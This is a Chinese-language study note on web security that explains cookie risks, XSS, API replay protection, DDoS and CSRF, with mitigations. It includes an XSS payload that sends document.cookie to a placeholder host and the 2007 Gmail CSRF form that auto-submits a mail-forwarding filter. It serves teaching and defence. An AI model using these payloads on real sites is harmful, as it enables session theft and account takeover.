Cookie
- cookie为何不安全?(篡改、劫持、作用域攻击)
因为其存储在用户浏览器本地,一大别人利用抓包或脚本获取到cookie信息,可以利用其来伪装授权并获取用户信息。
XSS攻击:
XSS. Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种代码注入攻击。 攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。 利用这些恶意脚本,攻击者可获取用户的敏感信息如Cookie、SessionID 等。
攻击方式:1、诱导用户点击某些url,包含一些非法标签或脚本;2、黑客将利用服务器接口将代码存储到服务器,待用户访问到相关页面资源时就会执行恶意代码。
XSS攻击示例:
<script>document.location='<http://xxx.com/getCookie.php?cookie='+document.cookie;></script>
- 如果一定要使用cookie,如何解决安全问题?
1、cookie有效时间不易过长,且配合session使用,重要的数据不放cookie放在session中存储。
2、设置HttpOnly属性为true,可以防止使用js脚本读取到cookie信息。(HttpOnly是包含在Set-Cookie HTTP响应头文件中的附加标志。生成cookie时使用HttpOnly标志有助于降低客户端脚本访问受保护cookie的风险,但需要浏览器支持)
3、对k-v对中的v尽可能地设计一个比较复杂的值,并进行加密,比如:用户名+cookie有效时间+当前时间戳+随机数
4、尽可能使用HTTPS,即tls证书,并为cookie设置Secure属性为true,它的意思是,cookie只能使用https协议发送给服务器
API防重放机制
概念
笼统点来说,就是拿你的请求原封不动地再发送一次或N次。。
问题
1、如果请求涉及数据库插入操作,可能导致多条重复数据。
2、如果是查询操作,而且比较慢的查询,那么可能打垮数据库。
解决方案
1、timestamp
服务的约定只接受xx时间内请求,可以在header中增加timestamp-时间戳,每次请求服务器进行校验,超过约定时间认为重复请求。
2、nonce
同样约定一个有效时间,客户端对每个请求生成一个唯一标识,一般用UUID来做,服务器在接收到请求后进行校验,超过约定时间认为重放请求。
PS:一般在网关做这一层校验
问题:HTTPS是否可以防重放
否。只能防止明文数据被抓取。
DDOS(分布式拒绝服务攻击)
先了解DOS:
利用合理的服务请求来占用过多的服务资源,从而使服务器无法处理合法用户的指令。
DDOS
DDOS就是在DOS的基础上增加一些傀儡机(优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。),发起更大规模的攻击,从而致使服务器接收不了正常的请求。
CSRF(Cross-site request forgery)跨站请求伪造
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
常见流程如下:
- 受害者登录a.com,并保留了登录凭证(Cookie)。
- 攻击者引诱受害者访问了b.com。
- b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
- a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
- a.com以受害者的名义执行了act=xx。
- 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。
2007年Gmail的CSRF漏洞:小A在自己的邮箱中点开一个链接,结果所有邮件都被拦截并转发到别处。
<form method="POST" action="<https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf>" enctype="multipart/form-data">
<input type="hidden" name="cf2_emc" value="true"/>
<input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>
.....
<input type="hidden" name="irf" value="on"/>
<input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>
</form>
<script>
document.forms[0].submit();
</script>
这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将所有的邮件,转发到“hacker@hackermail.com”。 小A由于刚刚就登陆了Gmail,所以这个请求发送时,携带着小A的登录凭证(Cookie),Gmail的后台接收到请求,验证了确实有小A的登录凭证,于是成功给小明配置了过滤器。 黑客可以查看小A的所有邮件,包括邮件里的域名验证码等隐私信息。拿到验证码之后,黑客就可以要求域名服务商把域名重置给自己。